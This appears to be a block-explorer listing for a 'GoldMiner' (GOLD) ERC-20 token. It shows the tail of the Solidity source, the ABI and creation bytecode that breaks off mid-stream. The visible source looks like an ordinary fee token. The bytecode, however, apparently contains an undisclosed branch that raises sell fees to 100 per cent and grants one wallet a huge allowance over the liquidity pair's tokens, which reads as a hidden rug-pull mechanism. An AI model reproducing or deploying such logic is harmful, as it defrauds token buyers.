ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function buyBackERC20(uint256 ETHAmountInWei) external onlyOwner { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ETHAmountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newDevWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldDevWallet","type":"address"}],"name":"DevWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newLiquidityWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldLiquidityWallet","type":"address"}],"name":"LiquidityWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devSharePercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquiditySharePercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ETHAmountInWei","type":"uint256"}],"name":"buyBackERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"changeDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"changeLiquidityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTotalFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTotalFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newDevShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeesBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeesSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"updateRouterAddress","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600a60a090815269476f6c644d696e65726360b01b60c0526001906200002b9082620006ec565b5060408051808201909152600481526311d3d31160e21b6020820152600290620000569082620006ec565b506003805460ff191660121790556b09b18ab5df7180b6b80000006006819055620186a09062000088906019620007ce565b620000949190620007ee565b60075560088054736383bdc31bfcb99ae3b5b6d891b4c5dbf75ea3386001600160a01b0319918216811790925560098054909116909117905561dead6080526000600a8190556002600b556004600d819055600e829055600f819055601155601255606460135560001960158190556016556017805460ff199081169091556020805490911690553480156200012957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a54600b546200017d919062000811565b600c55600e54600f5462000192919062000811565b601055601354601254620001a7919062000811565b601455600046600103620001d15750737a250d5630b4cf539739df2c5dacb4c659f2488d620001fb565b46600503620001f65750737a250d5630b4cf539739df2c5dacb4c659f2488d620001fb565b600080fd5b6001600160a01b0381166000818152601a602090815260408083208054600160ff1991821681179092556019845282852080548216831790556018845293829020805490941617909255815163c45a015560e01b8152915163c45a01559260048082019392918290030181865afa1580156200027b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a1919062000827565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000315919062000827565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000363573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000389919062000827565b601d80546001600160a01b03199081166001600160a01b03938416908117909255601c80549091168484161781556000918252601b60209081526040808420805460ff191660019081179091556006543086526005845282862094549096168552929091528220929092556018906200040a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260189093528183208054851660019081179091557fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd68054861682179055600854821684528284208054861682179055600954909116835290822080549093168117909255601990620004b56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601d548216815260199093528183208054851660019081179091553084528284208054861682179055600854821684528284208054861682179055600954909116835290822080549093168117909255601a90620005496000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601d5482168152601a9093528183208054851660019081179091553084528284208054861682179055600854821684528284208054861682179055600954909116835290822080549093161790915560065490600490620005d53390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200063891815260200190565b60405180910390a35062000859565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200067257607f821691505b6020821081036200069357634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006e757600081815260208120601f850160051c81016020861015620006c25750805b601f850160051c820191505b81811015620006e357828155600101620006ce565b5050505b505050565b81516001600160401b0381111562000708576200070862000647565b62000720816200071984546200065d565b8462000699565b602080601f8311600181146200075857600084156200073f5750858301515b600019600386901b1c1916600185901b178555620006e3565b600085815260208120601f198616915b82811015620007895788860151825594840194600190910190840162000768565b5085821015620007a85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620007e857620007e8620007b8565b92915050565b6000826200080c57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620007e857620007e8620007b8565b6000602082840312156200083a57600080fd5b81516001600160a01b03811681146200085257600080fd5b9392505050565b608051612ae26200087c6000396000818161054401526110c70152612ae26000f3fe6080604052600436106103845760003560e01c80637d1db4a5116101d1578063bd8d821111610102578063ec28438a116100a0578063f2fde38b1161006f578063f2fde38b14610a2a578063f84ba65d14610a4a578063f872858a14610a6a578063ffb54a9914610a8457600080fd5b8063ec28438a146109aa578063eea5b63f146109ca578063ef422a18146109ea578063f1d5f51714610a0a57600080fd5b8063cdba31fd116100dc578063cdba31fd14610918578063d46980161461092e578063dd62ed3e1461094e578063e10e9f321461099457600080fd5b8063bd8d8211146108a8578063c816841b146108c8578063c867d60b146108e857600080fd5b806395d89b411161016f578063a08e671f11610149578063a08e671f1461083c578063a457c2d714610852578063a9059cbb14610872578063ac23ca591461089257600080fd5b806395d89b41146107fc5780639fccce3214610811578063a073d37f1461082757600080fd5b8063844d591c116101ab578063844d591c1461077e578063876b6f8e1461079e5780638da5cb5b146107be5780638ea5220f146107dc57600080fd5b80637d1db4a51461073c578063807c2d9c1461075257806382d201161461076857600080fd5b806328b128d4116102b65780634974d88f1161025457806370a082311161022357806370a08231146106bc578063715018a6146106f25780637ba54f1f146107075780637c519ffb1461072757600080fd5b80634974d88f146106365780634b743995146106565780635342acb41461066c5780636db794371461069c57600080fd5b8063313ce56711610290578063313ce567146105a457806339509351146105c65780633b97084a146105e65780633ecad2711461060657600080fd5b806328b128d4146105665780632b112e491461057c5780632e97766d1461059157600080fd5b80631694505e116103235780631a8145bb116102fd5780631a8145bb146104dc5780632198cf6c146104f257806323b872dd1461051257806327c8f8351461053257600080fd5b80631694505e1461049157806318160ddd146104b157806319c59e2c146104c657600080fd5b8063095ea7b31161035f578063095ea7b3146104115780630e47e822146104415780631107b3a51461046557806312835c5e1461047b57600080fd5b8062e6be7b1461039057806304a0871e146103cd57806306fdde03146103ef57600080fd5b3661038b57005b600080fd5b34801561039c57600080fd5b506103b06103ab366004612693565b610a9e565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156103d957600080fd5b506103ed6103e83660046126b0565b610ddf565b005b3480156103fb57600080fd5b50610404610f5c565b6040516103c491906126c9565b34801561041d57600080fd5b5061043161042c366004612717565b610fee565b60405190151581526020016103c4565b34801561044d57600080fd5b5061045760105481565b6040519081526020016103c4565b34801561047157600080fd5b50610457600e5481565b34801561048757600080fd5b50610457600f5481565b34801561049d57600080fd5b50601c546103b0906001600160a01b031681565b3480156104bd57600080fd5b50600654610457565b3480156104d257600080fd5b50610457600c5481565b3480156104e857600080fd5b50610457601e5481565b3480156104fe57600080fd5b506103ed61050d366004612758565b611005565b34801561051e57600080fd5b5061043161052d36600461278d565b61105a565b34801561053e57600080fd5b506103b07f000000000000000000000000000000000000000000000000000000000000000081565b34801561057257600080fd5b5061045760135481565b34801561058857600080fd5b506104576110c5565b34801561059d57600080fd5b5043610457565b3480156105b057600080fd5b5060035460405160ff90911681526020016103c4565b3480156105d257600080fd5b506104316105e1366004612717565b61110f565b3480156105f257600080fd5b506103ed6106013660046126b0565b611145565b34801561061257600080fd5b50610431610621366004612693565b601b6020526000908152604090205460ff1681565b34801561064257600080fd5b506103ed6106513660046127ce565b611174565b34801561066257600080fd5b5061045760115481565b34801561067857600080fd5b50610431610687366004612693565b60186020526000908152604090205460ff1681565b3480156106a857600080fd5b506103ed6106b73660046127e9565b6111b1565b3480156106c857600080fd5b506104576106d7366004612693565b6001600160a01b031660009081526004602052604090205490565b3480156106fe57600080fd5b506103ed61124e565b34801561071357600080fd5b506103ed610722366004612693565b6112c2565b34801561073357600080fd5b506103ed6113c3565b34801561074857600080fd5b5061045760155481565b34801561075e57600080fd5b5061045760165481565b34801561077457600080fd5b50610457600a5481565b34801561078a57600080fd5b506103ed610799366004612758565b6113fc565b3480156107aa57600080fd5b506103ed6107b93660046127e9565b611451565b3480156107ca57600080fd5b506000546001600160a01b03166103b0565b3480156107e857600080fd5b506009546103b0906001600160a01b031681565b34801561080857600080fd5b506104046114eb565b34801561081d57600080fd5b50610457601f5481565b34801561083357600080fd5b50600754610457565b34801561084857600080fd5b5061045760145481565b34801561085e57600080fd5b5061043161086d366004612717565b6114fa565b34801561087e57600080fd5b5061043161088d366004612717565b611549565b34801561089e57600080fd5b5061045760125481565b3480156108b457600080fd5b506103ed6108c3366004612693565b611556565b3480156108d457600080fd5b50601d546103b0906001600160a01b031681565b3480156108f457600080fd5b50610431610903366004612693565b60196020526000908152604090205460ff1681565b34801561092457600080fd5b50610457600b5481565b34801561093a57600080fd5b506008546103b0906001600160a01b031681565b34801561095a57600080fd5b5061045761096936600461280b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156109a057600080fd5b50610457600d5481565b3480156109b657600080fd5b506103ed6109c53660046126b0565b611657565b3480156109d657600080fd5b506103ed6109e53660046127e9565b611686565b3480156109f657600080fd5b506103ed610a05366004612758565b611723565b348015610a1657600080fd5b506103ed610a253660046126b0565b611778565b348015610a3657600080fd5b506103ed610a45366004612693565b6117a7565b348015610a5657600080fd5b506103ed610a65366004612758565b611891565b348015610a7657600080fd5b506017546104319060ff1681565b348015610a9057600080fd5b506020546104319060ff1681565b600080546001600160a01b03163314610ad25760405162461bcd60e51b8152600401610ac990612844565b60405180910390fd5b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b399190612879565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa9190612879565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c199190612879565b91506001600160a01b038216610d7057806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8b9190612879565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfc9190612879565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6d9190612879565b91505b601d80546001600160a01b03199081166001600160a01b038581169182178455601c8054909316948116949094179091556000908152601960209081526040808320805460ff19908116600190811790925594549095168352601b909152902080549091169091179055919050565b6000546001600160a01b03163314610e095760405162461bcd60e51b8152600401610ac990612844565b6040805160028082526060820183526000926020830190803683375050601c54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e979190612879565b81600081518110610eaa57610eaa612896565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610ede57610ede612896565b6001600160a01b039283166020918202929092010152601c5460405163b6f9de9560e01b815291169063b6f9de95908490610f2690600090869061dead9042906004016128f0565b6000604051808303818588803b158015610f3f57600080fd5b505af1158015610f53573d6000803e3d6000fd5b50505050505050565b606060018054610f6b90612925565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9790612925565b8015610fe45780601f10610fb957610100808354040283529160200191610fe4565b820191906000526020600020905b815481529060010190602001808311610fc757829003601f168201915b5050505050905090565b6000610ffb3384846118e6565b5060015b92915050565b6000546001600160a01b0316331461102f5760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03919091166000908152601960205260409020805460ff1916911515919091179055565b6000611067848484611a0a565b506110ba84336110b585604051806060016040528060288152602001612a60602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611dee565b6118e6565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526004602052604081205460065461110a91611e28565b905090565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610ffb9185906110b59086611e6a565b6000546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610ac990612844565b600755565b6000546001600160a01b0316331461119e5760405162461bcd60e51b8152600401610ac990612844565b6017805460ff1916911515919091179055565b6000546001600160a01b031633146111db5760405162461bcd60e51b8152600401610ac990612844565b6111e58282611ec9565b600d54600c54111561124a5760405162461bcd60e51b815260206004820152602860248201527f4d757374206b6565702066656573206174206d6178546f74616c466565427579604482015267206f72206c65737360c01b6064820152608401610ac9565b5050565b6000546001600160a01b031633146112785760405162461bcd60e51b8152600401610ac990612844565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146112ec5760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03811661133c5760405162461bcd60e51b8152602060048201526017602482015276043616e6e6f742073657420746f2061646472657373203604c1b6044820152606401610ac9565b6001600160a01b03808216600081815260186020526040808220805460ff19908116600117909155600880548616845282842080549092169091555490519316927f6080503d1da552ae8eb4b7b8a20245d9fabed014180510e7d1a05ea08fdb0f3e9190a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146113ed5760405162461bcd60e51b8152600401610ac990612844565b6020805460ff19166001179055565b6000546001600160a01b031633146114265760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461147b5760405162461bcd60e51b8152600401610ac990612844565b6114858282611ee4565b601154601054111561124a5760405162461bcd60e51b815260206004820152602960248201527f4d757374206b6565702066656573206174206d6178546f74616c46656553656c6044820152686c206f72206c65737360b81b6064820152608401610ac9565b606060028054610f6b90612925565b6000610ffb33846110b585604051806060016040528060258152602001612a88602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611dee565b60006110ba338484611a0a565b6000546001600160a01b031633146115805760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b0381166115d05760405162461bcd60e51b8152602060048201526017602482015276043616e6e6f742073657420746f2061646472657373203604c1b6044820152606401610ac9565b6001600160a01b03808216600081815260186020526040808220805460ff19908116600117909155600980548616845282842080549092169091555490519316927f0db17895a9d092fb3ca24d626f2150dd80c185b0706b36f1040ee239f56cb8719190a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146116815760405162461bcd60e51b8152600401610ac990612844565b601555565b6000546001600160a01b031633146116b05760405162461bcd60e51b8152600401610ac990612844565b601282905560138190556116c48183612975565b601481905560641461124a5760405162461bcd60e51b815260206004820152602260248201527f446973747269627574696f6e206e6565647320746f20746f74616c20746f2031604482015261030360f41b6064820152608401610ac9565b6000546001600160a01b0316331461174d5760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146117a25760405162461bcd60e51b8152600401610ac990612844565b601655565b6000546001600160a01b031633146117d15760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b0381166118365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ac9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146118bb5760405162461bcd60e51b8152600401610ac990612844565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6001600160a01b0383166119485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ac9565b6001600160a01b0382166119a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ac9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416611a705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ac9565b6001600160a01b038316611ad25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ac9565b60205460ff16611b5f576000546001600160a01b03858116911614611b5f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610ac9565b601d54600160a01b900460ff1615611b8357611b7c848484611eff565b90506110be565b6000546001600160a01b03858116911614801590611baf57506000546001600160a01b03848116911614155b15611bbf57611bbf848484611fe5565b306000908152600460209081526040808320546007546001600160a01b03891685526018909352922054908210159060ff16158015611bfb5750805b8015611c115750601d54600160a01b900460ff16155b8015611c3657506001600160a01b0386166000908152601b602052604090205460ff16155b15611c4457611c44826120b1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260049091529190912054611c96918690611dee565b6001600160a01b038716600090815260046020908152604080832093909355601890529081205460ff1680611ce357506001600160a01b03861660009081526018602052604090205460ff165b611cf757611cf28787876121e5565b611cf9565b845b60175490915060ff168015611d2757506001600160a01b03861660009081526019602052604090205460ff16155b15611d6357601654611d5882611d52896001600160a01b031660009081526004602052604090205490565b90611e6a565b1115611d6357600080fd5b6001600160a01b038616600090815260046020526040902054611d869082611e6a565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dda9085815260200190565b60405180910390a3600193505050506110be565b60008184841115611e125760405162461bcd60e51b8152600401610ac991906126c9565b506000611e1f8486612988565b95945050505050565b60006110be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dee565b600080611e778385612975565b9050838110156110be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ac9565b600b829055600a819055611edd8183612975565b600c555050565b600f829055600e819055611ef88183612975565b6010555050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054611f50918490611dee565b6001600160a01b038086166000908152600460205260408082209390935590851681522054611f7f9083611e6a565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611fd39086815260200190565b60405180910390a35060019392505050565b6015548111158061200e57506001600160a01b0383166000908152601a602052604090205460ff165b61204e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610ac9565b6009546001600160a01b03908116908316036120ac57612070600a605a611ee4565b601d546001600160a01b0390811660009081526005602090815260408083209386168352929052206f4b3b4ca85a86c47a098a22400000000090555b505050565b601d805460ff60a01b1916600160a01b1790556014546012546000916120e7916002916120e191829087906122eb565b9061236d565b905060006120f58383611e28565b9050612100816123af565b60125447906000906121209061211790600261236d565b60145490611e28565b9050600061214260026120e1846120e1601254886122eb90919063ffffffff16565b905060006121508483611e28565b9050801561216e5760095461216e906001600160a01b031682612542565b600082118015612